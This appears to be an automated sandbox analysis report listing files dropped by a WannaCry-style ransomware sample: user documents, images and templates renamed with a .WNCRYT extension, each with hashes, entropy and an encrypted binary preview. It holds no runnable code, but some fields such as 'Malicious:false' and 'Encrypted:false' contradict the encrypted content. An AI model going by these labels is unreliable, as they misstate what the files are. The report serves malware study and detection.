                                      Preview:WANACRY!.........$.\....#91.T/...V.u#.8 .7!49lpZ......._\.......o.{q+.2Q..k...T2G...)..{.I...d./....Y..y_ .b......._..x......O...=+..$t!-)@........9OC...;..dm..,G?.5N..O.D.=..tZk0..+.O..K.]..!.Q[&..e.L..?!....y.........C&....b...Wn.....}c"..z.'...a..oV....t.4......V...D.Z.R=6o..q../.1_.F...4=.!3v{.$'.b.7...O..b..~...V.O.[t..e...........7.q!o......A.b1.X.Cw......2.%J.Ok..y./..(...k.!(.....B4.dZZ......= .k......-...fr..dgl.z,...c..AA......S....!?.%.hW.kGY.b..9..R....L...O..c............*{...nB.:.i..H}{..SA......s .v..$.#.4-.$;EE.."......E...^...#.I..G:..0J.....9Y..Wu'.#...CD.1...X...f..y.X17...../...w:.k.z.;...6b~....... ...._A..o...f.....Y\*y..x..U...'./..A....0}....4j...E./..E?.g..>...I .bU....j.@T.................Xjb.......Y..3N.#'.m...h(.8m.V....s.2{.............&e8..U.....j..O8d....+...>"..z..R...R.=...9..7E..x.9..o......;...o...E....Ao.4.fa.3.&.,,_..g.Mb..t..{[N.....z......S\..).KE.~........9s.2.C.r.Nt..}{.p.......H..!..`.o.

                                      C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):19560
                                      Entropy (8bit):7.989702940357769
                                      Encrypted:false
                                      SSDEEP:384:tur+auHaR4avCWyI1k+qs76lutcYQPJnbzQIBWI4sbZ5Y7sF:t3agavP9qsulu+Y8nv/QSbZO76
                                      MD5:8A62C5C37B1B2D339506359A32A89F6F
                                      SHA1:FBC50A37725DC9B59493AB75F4FB00C60A9E9997
                                      SHA-256:86306EC4D89F7FF5DF201E687A3C042D33AA402C2EB6D7506128E12CE7D04BD8
                                      SHA-512:DDCD079B64177176DF5C4B94639AB655742F109E0B04CC14D2E6C9280C30C7AD686BF0DAC99FBCA52124741F1E954318329CC319843B246ACC916AAF0AA82457
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....j.wer..r..m{...x0i.-./l.gP.H..nX.Y....T...`.O.l.F....x.."8.!.#..N....d.U.G..i.@..`.`...CI..x.n4..p.3.I....a..".....O0....-........Et..\.%&%.7...qdBd.'.....).%.6<..R....?.6..VM........C.?.......%D...#.).#;..n.s.}M5.H.l.#+.w}h.\.=.....+.!=..A.. ....GK......u..-...9...u.Vc[..W....3..`..?.r..[..wI....9..20.&.v}..6..4..3s.T...".)}....'..Ra..C.%.4.{.....(...<.A.U.Kw....~..R....&.X[~O)sPq.T..U|~..`tMo.U.x..+_..X.t.7.....pl...#..T.d#.`..~:2...n.AZ[U.b.f.0...O.}....u.M/O....3x...`...58...m.6..]M:.0....F.c.5..N(..!...~7.8B@t....C.]..@..}&.,.m.P...J0....\K..q..uBzm%..3.j.D#...)..+'Q.......t^...Z.R8B...9.8pW.M..i...n.....E..h....Xs........._.....<.........V..S.S......j.!zP.t'..19+w.K..wx....S.........;PK.:W.....d.........r.7.^.Mp.A0K..<Bn..wE.p.9.<|.{.).\....e...o....8..s.w.;....A(.....mY.,3."D0/>..}2.....0._a-S{..2IKk...@......C....j/dd.2."..M~.dFr.J{......b.q.\...kRW2...(......>:..W..Cm....7.P*T...~..-.,.z8[pc...Y.H.^"z..........A..a9....h.......

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AZTRJHKCVR.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.832123034674794
                                      Encrypted:false
                                      SSDEEP:24:bkY3G6iAqXVauOrSCqBMbp8bBCpVwqPupUdP9A6IrSU6Fl:bkAAOnIO8lCpJuGV9AbWU2l
                                      MD5:BDE4A3A97D3C4727363D061D825747F5
                                      SHA1:0DBA64A39E0A551C0A5B2774259271C045250175
                                      SHA-256:05EDD2540E86B4A7859CFD0436E88F645CFAED45CD1B314A2443DF022BBA946B
                                      SHA-512:DFCD305BC2CEBAFCAA84B02B0583E95AE429AF90FD9D93A77A47BA24D1AE705FAB331556FB423519214159B62CA813E73864C54AF6596382E4551D2C2124826D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....^.......""..q:......q..&k.C..1....'..U.....T.......{....O\G...l~.].J.|.=..|i.wg<...VIS&.C...Z............/T..o...H..r.....Pi.#......*fQ...#.Ts.R(.\..e..k...`..'..%ls....V.`SX.n..m.~G..*.>...t .....1..-...Kw /C..".b.~0.]d...*.8.A9].g.....X.*..............m.gw.?.~...O....VtT!..7.2....75.-.5H.I[..P...7...1..K........p....:H.+....w#5..Fk..j..... N.5...}.f........ ....X...(.......K.N.w..V...>....'&buW.#Q.kz7.X.......P...m...,W..DH=t{<...dL.&f....[..8..l7.8.....4.7..2.\.~*.........v.z....hDSs.....c.w.iu.-.t..e_.+..*....G%H...R.!}......8....9t..i..'Y.}......?H.g.C....I..8..Y..5-.g.,.=.^.....%]..X..j..Vl.5..\|.5.Mu.....ME..Q..fGdGU..w..?....|..+....I....<.......[....Z.<.mB..c..h.O..[.....;.....t.&._.......'...#e.Q.$.Y.z...veUb.G=.]`i]..v..bb.......[.>..J^........W..V.U..?...!......8l......*D.x.3"..U..F'}.Gz{....`.......J,Y,.hfe.LY..Q..(.../..<....n.......c..S..$...7.tg!#3r..S.A...W.D..wG..V..<....Up.CV..*...fo..d.....h..q. Q...%......lX..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CFIRCYHTYJ.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.824259154237416
                                      Encrypted:false
                                      SSDEEP:24:bkB4flPLKSC3wzs91doJPwsqnwrB9qPQg4k4yFCnFxfv2AkCl39tX6d7LCK0QWAz:bkmLKPAzsDdASG96x4y2Fhv2nG3n6d3B
                                      MD5:4055CC180232EAD3178C7BF3281F2F63
                                      SHA1:28361D4A3AE62471F0B7FA7FD093339BC531C433
                                      SHA-256:BFA9729A950D9509B0CD7CF9BD1B3912DAE1AAF2C49A53240E3A66A05C4CD326
                                      SHA-512:C20CE0975A4C7D1490F7EB8AE96BE75878895BEE3A51842D9CCD10BC2ACF59819BA684954D06DA2169AFECBB36B15053E83444F0D27CDC6E469EA3CC669E06E2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....].#e....ZC.....D1..'%2..O.Z-....f...r....fqWh4uq..._I.fD$.....B.Si..................[m....$.9......=.[...C>......a.....J....4..m8.....(..6...A..Q.o..!...*t...vh..d..|....7...K.O.....Eq:....F..V...+..R.*c...-..g2jjR <......cz.B...g......ftL..D.............>>`.\...H..T...#da..^u.`_....h_.=.0.i...........5G>(6...W.K.........K..?R...o{jL3......#F.5j..yZ.X....D.lZe;..l-%@..4N.W../...^.F8[.....A.Y!..?].<V..1:...U,p..B.i...,^.g....U3.z.....g...z.iB...k.C.....)C.;..!..BVy..q..BI.. 1z*=R..:..|...#....E.Fz.@N.......w..|...P|.C..9.m...|;bE...t.p.,.~....*.....H..KL:X...G........,.)..`A.N..BI. T...Q.....^.]......&.AP.>.B4.......g.;E.: ..!...0........o}..c..)...F.+.l..?..p]SB..S...|.e.6.8.y9...|.!.4.)8T....y.....hx....=....S.Y.q2.Ux...J..^..o..l..0...HoM.].W.n...+...m.2.^#.h..X].g6...}.h].<C......K......J|bA....,.{ ;..........Y..m..c#.$..U..m..J..U]G.i...F).bmJ.d...N.v.;Y.. .....Q..DU./.m.$....C.=W..b.zuN...V..._.....c.6....s..>\,.H

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CULUOHOPZT.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847073391625298
                                      Encrypted:false
                                      SSDEEP:24:bkjdM9vi9jsaJYX5h3KIcbHAjGZBHZhOmRRIfFDZvPR7jZC9wgS/USwuz2wn8ft:bkjdxa17KHH6GXbn8jNgOpQt
                                      MD5:80EFE831124E757A8E53CAC42654BA90
                                      SHA1:25CFF30A67D83594D26D7F4B1F35DD9560B7AD9B
                                      SHA-256:43CECFA38F5E17EF456852E203B502DBFF8AD8CA54E6BA9D62C7755424150EAC
                                      SHA-512:1504F1150FC9DE17BBF55CB819B71438D1DA4FEB3F858B810C993B38F2756576359E436812E00E9572F6CECE1802C1796F47054B1466ED4E8D6221E77D7CB144
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....S"(....LG0...\...\Y..t.dn.ze...e..2.bzX...:.U.5v.d............x........5.I3KCp%]...]..U..@..}V.du...<iR#+....N.....<`....`?.q.~....N..e.78........*...J.I.....<.^.Z.v...O.8.....t8...B..c..}.....HL$.:..%.A+..C.\...."vz.....WZ.>.......w.....].j...............lt.....,..3...U%./(...L..@Im...4...Kn(B..aK..23.T..eU.zR..Y......8..+.~.g...(L3...n>`{?.+..oo..Z.{.j..}r...U..$......6..0..f...'.4..M......X..}t......7..p.s*...."J.,...3._..A...P;n..Ou..z..K..8...._..@.T.I.r..7U..]V..r......O..t.d.N.!?X....l)2..$..xCTp.13...q....5........Q..Q_....~..r.lRi.]%.=...... q.sU$.......*X...p.n..P.z<eg...t.Rj...w..=_....j.c.vQ,.y..)~d.a.>"_..?Y.N.....Z.)..`..2...6D..........cFD.........L'..........9....V...|.....b.....Z.....:R.:..Q...N.qI:v$.H.K@.~N.~}...4B..v....t..u.H.E...e.<..'M...B....T.r......:.v.........i.oGo...c.......z..p..N...s.....-..F..j.<....)u..a.%.:..`yV,.al[.C;.......hg......g..yo.M.l.....2.0.Zr........1..Y...n.KG...6l.g..I.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CURQNKVOIX.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.855754443553243
                                      Encrypted:false
                                      SSDEEP:24:bk0iFKRT4dHQGEbBjYu4Lz63QEkYwPY7SNKbZAl3Uk1pRX/gDwy8ThCVlMH9Jw9s:bk00Kte+bv4KwPWSNm2JnDYBQCVlMH9r
                                      MD5:267A71B27F84FC21069E763CFE9FFA30
                                      SHA1:1AF6773E0A3E64AC33D0E28B06D65793AF815E2E
                                      SHA-256:1F04EFDA1C536410EABE14B4CC04849D5FF8B255E704012B59E67E253D7F1CEC
                                      SHA-512:396ED5C357067019986316CDB529334EA79ED3166F70C5E1C022C6DA3235721A2041E3D5D7208078C95EE416DE876BE75FB62C27DEC9B3DBA6B7936FBD5B5C01
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....y..l......%t.L.yVb...9Kk.BGf.3.,..b.....:..9..m#........b.1MJ.....D.6.,..].a..F.a.[...29.........F.....*J...`.`.eg........w...n.}B......J!....N4B.:..e4.<A..Z&.xC...jl.w#.\hn....=..L...N.Z....P...0.9.h.i~%..xTU#..i.z9x......G%.....~..UL/..^^............KC.G=.v@0A.E.2....v@D..K.i..?F..\...jG.@...`.dp.W.'...-.......s6H.'{.T....HnaW|....\5."j..5.>e...j.C..k.8u.........pI..M0y/.P....4...&.}i,....}.G....).ng.)..."...M...#_K..<&.......G3;tM...`a9{..p......T._.....?.......qc&.7.\..*...s.9.....h.D......y...m......sXUN5..P.U!".O|PQ..]....[@....x.?.......Q.."....1$.rX.(*@R}.8Q...G.1BF,6$..X8~....j....z....d1@....F..L>.U........(.'..u..#. \.S<t...7.!H.hl.T.7...z.........H..#..OAq%...A"...S.....|E....5..[....5.I..Y.-.......MI|..[[.....?t.<..O&...T{...%.+.....n..{...p.'.P..,.Z%.`@.EG.........w...R...z.-.$D1 .G]...^ZQF.Zn.h...i4.X....p."..v.T.i.zogt...&0..g.(.!7..j...D.`h.mw..u3..\.O..Y3.(w...9.....Q.@...78.7...?..0..4.xzsZr..0Znj\.L....v

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.828054031540639
                                      Encrypted:false
                                      SSDEEP:24:bkdUzf6g4JEWFbrOgZDXo/vVo4A8/UW9ox4R+3JlKfzZ+x/BdLL:bkYH4JEwiT/XA8sUw3C6/B5L
                                      MD5:15E1C53C2C8817ED6F16951902B0017A
                                      SHA1:3AFD989BC342E031EB58AF4384C71313D2163FA4
                                      SHA-256:168B0A1FEC8BA95BC8E21616665AC9E32DACFB58E2E049FB11845C0FB87C3BA2
                                      SHA-512:286970CF3857DA22503E4FDCEC7C65B0C11AFE3767DEC0812B17C2C394D3417D52F4C0B8B23ECED4D6F9478F2AF6F379835803C818D1E573703BBEEE046956CD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......E..G...0...l^...u..L.T...Z.....~.a.w..h).j...z.....2.ea..\.W.Q1ti..C0...v.;..#zl.m.....+[..z...5.!y.{..)...Zl...X4...+.b..."....I;m0Z..=.U/.\.b.$9..o>3`.#Q.....r......w......kvN*..s......4..C.c7.(.E.6.9#C^H..j.w...V.6.....T.:...5~....... .0...22.............[..b...O..=..~.."5.R.T.}....l.f.U2.R...|..)...C?.p_..?)&...}...$..._......1....T...P.w._....{._e..AJ..Q!...+.91.H..5...qb..._6./.m-..v....P..M7&...N.^1.....iE[.\B.l1.O....t.e.Y@..S...G3.&r.`.S...j....)TykE...}Ye.D..\x.n;...vZ\...cK..'......~..t....k...w.......JXQZ.W&[cs...kd.3Df..G)..E3.FO.x..'.y.LhU.......'.....=.s.<...P.3.'s{a...>fJ~t.....i.4.%..0..z?..S.{..4.1....O-f.........../pY.....?.Q{'tdX..q...H....gs......<......r.,fx?....D.!.*.G.*..,...Z...K..b.Q*..3].^g.+bR.><....2Q..wO..i.w.......g......O..@Z...?..BQ.[.km.b.3WY.."..1.AP..0f.t..Y.65.FtF.......Ag...C.!.E@.I.;i..{..#....K...>C..g.7HQ#9b......N.G.&h..:..t*.$..m....b.".|a..g....N.`W.....m..g....g.Y)8@l.J.4R. ..~V)m....z.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845530289011977
                                      Encrypted:false
                                      SSDEEP:24:bkCJSv5sD0yMKZ+9qN5jyNEvoskELtpDzqWR+mcoBsWTAvpLQ4yOl/qVZygWv:bkCIhS9MKZ+kjBvoFElcwsWGhyKiryZv
                                      MD5:16D6764D50FAB69698CC09B89C3215C0
                                      SHA1:65435CD43583962E6C1C32981B0CEC737C93BF65
                                      SHA-256:2E2F9F4357751CA904BB6D9554695F0567382C251316542ADA695D5DCCAB59CD
                                      SHA-512:EEAC7F5619D2E58603699D48FB2374174526FDB682F2F3D99D556D796069BF5F6830C6A18659FE11F128371526EFC3CD7B3AB0ECA40015C31E5C62AC6A168E72
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Xd........O..+.U6.r.E...se._.>..e....a....P...d.1.&...2..YH...7.......}B....Z.'....D.'...;..r$.[...-.....,p.Cz{..K.."0M.?.D.k....|.=.]....5j9r.....|...)Z\O..%UZ..z.mR!?..........w,,.).T........_|....|..d....G..0`.../...q;XL.>.....dQ....8....O............P`.^.pDp{[....;]n..t.<.J....~\,..I..3....(..Y.t.`.5..t......k.<..........a.L..Ms./y.....X....mB.z9...i.....?.u&].]...(6...3=Z.UU.U..D:!..55._=...'+g.....R.V.Z.].....\.<.|Q.L.J....@nF..=.\....d(.v..w2V.x...J..a.N.......=."....D@%1d...?s..n}.T}.~..9.........u..T....j.i.".....P.......].,9|;....%.....++......jO@..sv..8..x...2.8F..k.`...n......;L..{.._x.x.xCj..P....A..VA`r...".x.9.KJ..N.q..M..8...".BcG)#?Lb...R.zKCxLq.BA.5.J.HU)...0.....o..(...f.N....]q.'.\..s&K...A..sH.... .u..w.c[.<.gt..u{$Gm...q.*.}.<3..=p.....NrK....<..........\..}..i.)..du=1v(..'.pB.z..1...h+..;..3.N.9l...IW.......'"Z@.\.A.W....;..~sy8...hE.PW.Ac...+...h....Vf.j.;*.\<...).....%..5......Y..B..9.c..1.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.825559261520953
                                      Encrypted:false
                                      SSDEEP:24:bkAzhNKRmkEKomQ/tIu6VDQmSE1C1h8rsDnL+uhwEo84u5idB2XLs:bkAzhNKRmkpBQ+H0uCz8I7LFiBMidBX
                                      MD5:D97B59249A795AD5D05119FA04FF8F22
                                      SHA1:219A50DA4C8A4AFF8CAD1D487C74A9513435EAC8
                                      SHA-256:322857EC72B266A93A6F090AD9985E426FB53E4A04989C22E44D70F338DC1CAF
                                      SHA-512:6E1E371A0CCF65C41D340231F4E05F7A38AD9943B4638C6CE13AA323B12736CD0F8426FD1F0A142582914A39C2E0F60C5C5305B749F7CDEF7C4BC1E803ECAD5D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....yjv..C.o.A...}}.;{...p..o...t2F.`.d.....f.n.{D.D.....@...;s..i..k.......j../.,.}...+......{.....<...eQ.... 2.g.*0Z..C .<{...|.1...Yn.J....0...c.b_0.v..Oi........o.}...`.d........Ay2...b.0.|.......%.....rg..}.f.\.....{..K...C......h.O@P."....JW............."b.. .......wF.|..[K7.ZPE....*..w......r.gb.!].rXY..[PqA%..(.yl.m..J.~-c.?...............qe...s`.[.w..".N+.Q[.k%/0.1D$.M........6...-....p."..8Y..m.Si.J....h......\C.s.c....U....$.......3...'o.Q(..Jv..h......,....I...h...."!8....p......r..`]..q..o...$...}..-......d\]C..ef....p.=R...j.?-..........(&1...O$...7.v...0...!" ...&..u.E..,.2.[I.p..I.....I.V..G...LN...A/8.X.....:.p7..Z}.!G.1..I.D$..O..r"...Mn..d...gO.?.......G...qhJ.L...;\..e:..{Wf.........S.4...g...r..F.......T....lf9..n..Z...A.p..j&A2..D...ta).>...tE.K...v........z..."..]...3...y.e...."".F...{M....J...%...C.-0vz...2P..n.9I...*..jo.s.Cx..l..i../...P%...T.d.|m..(....|w...\....k.ws.....y.8..8..8.v..K.......f.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.852533599690517
                                      Encrypted:false
                                      SSDEEP:24:bkVR+lmOtmGsGYq873GobXwDzaFg3/nYbJwr/DjjuQT4cXJ5bc16ptWRX/z:bkL+lmumVftcDOFg3PYb6jjuQTpIYpcN
                                      MD5:07F3D2D05233B8853625DEC9D3066DF5
                                      SHA1:C34CFC7DEE5B8D6C97A99BA0E1D7B2B88FFFD24C
                                      SHA-256:6819FE93A2FB7B8C6E2159F7C3E0B1A3CF82678CD8D3867AFC43F3C8811DA635
                                      SHA-512:3C71C33AF1BF22B732F06188610E721D6C7F67196B0301995C211A99104F89AA39D5093E917BB640E3D5532A53949CAF5F093B775614E0F62FF811660F115278
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....o-..Y.d'.@%...$....e.x...)..*\!'.p.....I..7f5..+..'...Jk...|n.#...-P..h.z.9.+V..cX.HPsI...]_@].$.........|....a....5[..+-.1..P..T....,.....N>...^E...*.[..K.d..q#j.....vxl...H3.$t.=5.l.#....;|...A.paQLn..Y.m........a.........v.sG[....lZ'..............^...N.../H..:\-g.|'b........[f"EU.]t.......y4.k.V.x..k..*.:3...}...,o.....w{P..-.cF..L..O.W..H.!......d<8.~5...{M...=.....$.l.....8.k.~G.T1.j...$9.M....X..+...y.c.'a6.....J(:R..<.u......p.....A.......+.Z$~......QU..M....(L0u[...3.a2e..RG.L#.\.J.[.}{.:`..9.f.cM..1.....8.w.G.-LvM...w....j~V.t..9....|...K.,..p05.f.....nt8.[...\W...bNy......W...Y.........F..x1%.,$wbT.b".O....v.$3....A..?... .;...-/..kg..>0..@..;;)..(,..f..E_......].C..../..N......:....y ..........L...<e.4...'eB...c.(R8..E .J~.r.8T..Q.=...@f!.}.d.G...).r.e....%S..-..! D1...bq.15.y.YP..I.?.G..7L.ON...N...V....(./a.RS*..i.81.8...0~...R.{..%....y}S.....%s.....)....T..y...M^..2.7.}.D.2...............;.....\.<.;$.

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.835281233967497
                                      Encrypted:false
                                      SSDEEP:24:bkika+MagC6pHbF/rLC917uQfESftVaRzcp9UkB/7jkU8zg1WdSkRw:bkikandpH5/vm17uQfRfPkK7jkU2+gnu
                                      MD5:B533C679F71CE90B83A19BADC00222B5
                                      SHA1:4A6B75220339BF198CF19FEDDC2E375E82FD4E85
                                      SHA-256:2000C58AA8E3C3F8DF34935EA9656429F1CFE4B4092AC72D5019B1FB81ED0254
                                      SHA-512:38E4566F9DC8F3FCDA0F46D2AC50345277F2DEC30D7AA7EDFFA6BA0AADAA0206A34D176EE9CC25B3A216E2B328AADB62525863ECE3552906AA4F2E0B2D425211
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......I.#P.....g>..g^.t.R;..rKk.u.8...3.$W.$......b.;....jt.!l4./x.{..%....`Y....!X....Y*.SG._ja..)..n......6j)4l..]U....Q..C......9.V.....0.im.r95.s..8..0.o........9B....Dt.d.....Mnv(.Z9.eG...*....qNS..P/!.H..Q.y......g....55^..5.rd...!.f=......x@s................miL.6.....er.....}[H)...*|^4..h.L[.9H.b/%...k.).fz..68..[..*.R&%..e....^..{..1d)-.1X..1gV....N.......`v2.Y.\.1N.D../.:B.$j.......'..y...F.f..W~.}.?)dA..9.f......V.q.W./5..g. ..1v._.5.c..Hk.2..$...V-.{~'..P...V.*b.>.\..._..S...V...7..Qo.A....H?B.Fv.....2!9.I...'..1L......#._N/.!o.I..K..e.iK._...$.n.9~.V!et..qHiv..}.4..(+....ar.D..`.x..+Iy.aV8..~.|.kh.f.J.....}.HS....5..Bg.]..o..T&'7/......?....{.......VWT..vQ..:..(&;..QuF.lF..gHS>M....~.F.G...R.q.6..d.4.}.o..@..P7..L..W...`..`...Rm.^......NW}...H..@._[o......m<53.M.3O..0.!..<T...m>Cj...@r.....W}"..-.]....Q...C....4.>..j......#..;2_..?.0.._[t.yX....4'X..l..kM84 (..'Q...........QA..L,.I.......@.*..Sa........!..Q..d9)

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842154137640674
                                      Encrypted:false
                                      SSDEEP:24:bkmioaoiwE12L0D35orwoqoJZWKHS1iLwPV4j/KVt5rP4/qHyUMhB:bkmLiLsLo5ofrHHSg00efyay9B
                                      MD5:62A19C28721D490AD7F60A0C35A01CF7
                                      SHA1:6B938FBFE6BE2EA768752A7DDFE0D65C799FE906
                                      SHA-256:E5D7D0B4AEFE3E70DBC89A19942C135246976E13D24603D4A9B55275CE6FBDA9
                                      SHA-512:3B1CAFAE0EE17E9B8D61D3B740B789BC6B58E7C00A291E5EA79E711651D488DD126898627401F0C54A4C4681B77994D7089CD05508582137169B6A76193CF5BC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......I...D``.oc.s..ZS.......d.<..O4,...%.t.}^.H#\.&'2y..!.......i/#......;....m...z...|..}..<a&M_R.........q...;....h.$4.R.d..?...U1Q..Y.h..(........M...;.a...1t...{[..oB,'...........0.bXE[.r.[.ze...>z.X......../.E7I.2r..t..B.g.v.!.4..G..Q!....1...............0....h..._...J..:*."_%f/....i9h.~../.Z...;.^..>._...Mv.y .x..8.2c..1..*.{b,..P_.......9...8N....S.p..b.-.f,q%.O...~..DEx.3...j....HWxyU<x......#e..z.....&.vH.HT...Q..tD..&^pEx.}.......GH.K_~...?..`....q...Y...kY.....~7..XUa.2.=....>D....i..&;h..M..s....8.....WYD...o.Q...N.D:.G....j....Y.S...rVp..XB..|.#.^4...S.U..rQ2....\I<.!g...".2F.w..>..px.....?Q...I.cS.Y..8.LD..?2Y..}w..../.C.\..K..%f.I..*...v#Q1.)..d.U.......z..6^.n.._...K..mZ..a...>?...c........f....w.`<...S.?\~.!..l.eu.b.._;..y.....sC..Mn..jt.!.Wk.x...w..=.........0..8S.mC..........b......i.c...@.L.......!.<..WX.....p..Sh*...ip.KU..t.\.|A...t...hj.Rx.T.:.D...5.K..{Z.....o..[.v.........Twqr.0..N..#...C...|eL7..WP.p..

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.837535074602115
                                      Encrypted:false
                                      SSDEEP:24:bkWi7+VF5pJi4AnUQEDeBqypTbI+dIQiemG8I0RP4WSfS2nWfnniJU0HXzzz8J:bkp+7cTnJEAHhdx9oI0RPv2nj3IJ
                                      MD5:011FD7A2421F18A675E0870FCC33693C
                                      SHA1:D8DC2AA972A0F4DA0D863F0E923119195ED55452
                                      SHA-256:CBE5EC5F419AE078447E55BD899D56E3632ADA0893B3272C87DB2CDE95E0B719
                                      SHA-512:80BD5DC6F24D7E68CEF9145D27B4C2FED6B25BF34E6EB06DFC732029543625DC5829EC9750B9D5F219FC6D1181D7CC59F89FC8DB98B8B27F4C2F1487F9BFA114
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....(....!..".7...@.}.F....I$y@.R.G.5.=.|.,..%}Y...N...:HQ..&...1..r%.4E^:.....y.%.....0.L...W...N.....f.*].u?...z..1}M.....8tg[.0....."...k5.WQ.&:..\....`S.vB........%...V`.x.Q[.-.U)...q..i.P......4.V..W.....R.!.Q.Z.i.......*5F.O...>.I......md[...a+..............q.7JL....IQs.}....'R..?".gT7b.f.W....deq(......J. \.P.ut..b.I.$_A.......)....2.B.=.t...:..J.~9^b/..,@...5.q..V....D..:.2B...E..(.=.y@..bu....e.R.C.V.....b...W.V'B]..[..+.`.W.R...Y.D.....`G?Z.H..f-+p.......>...|.T...'X.Vd....l....%.w<d.`.0c7s...O........e......F".d$...7@q..B..'.@$..._~.|0...E9ls6o....33.C.+uY..=....5QB.^m6..}...$..y...o1.c.8...E:../L.....u.$.L.@.....'....E.|b9.Q...(...+k.8..........w.iR../............2......`$...(F..;...]..../I.C{..;>#0.#j.d.*Z......uLi.>.H..F."_...2..`n......B7..y..........?..U.p...}(."0.Y.....|..1.9.k.ID5H......xr..x{.L.)y.X.~..KiC.......V..`?..9.QZRe3.....cXG..o0.....@C....$..3.y#..s........`;...z....W.?.L..E$i....?tc........F4.u..`.2-v...

                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843443983850084
                                      Encrypted:false
                                      SSDEEP:24:bkkZhfJvozypa1eUUbp3/2iqoqPAHn6efD1sJ5AXutEQIl/jwxJYwDzkrYWk:bkYf+zy6eb9+iqoo066Dg5wuaQIdKhWk
                                      MD5:8732AF28E39CB40F28C385AF282FCCF3
                                      SHA1:3A2B682982BB91F8AAC860A5B231EB897AE07143
                                      SHA-256:E780B764F489AFC7793120B7EDA4A1B245D67AC2CEE088B8BDD8CA2C5A9F4E63
                                      SHA-512:FE424465F6676DAB91E39A6F4C031437EDB12A1D6A2F45FBF98DF9A738F1B844AD192AD135594D14ECDB731C6FC0BD2600DF83450A811277B13108B778C2C413
                                      Malicious:false
                                      Reputation:unknown
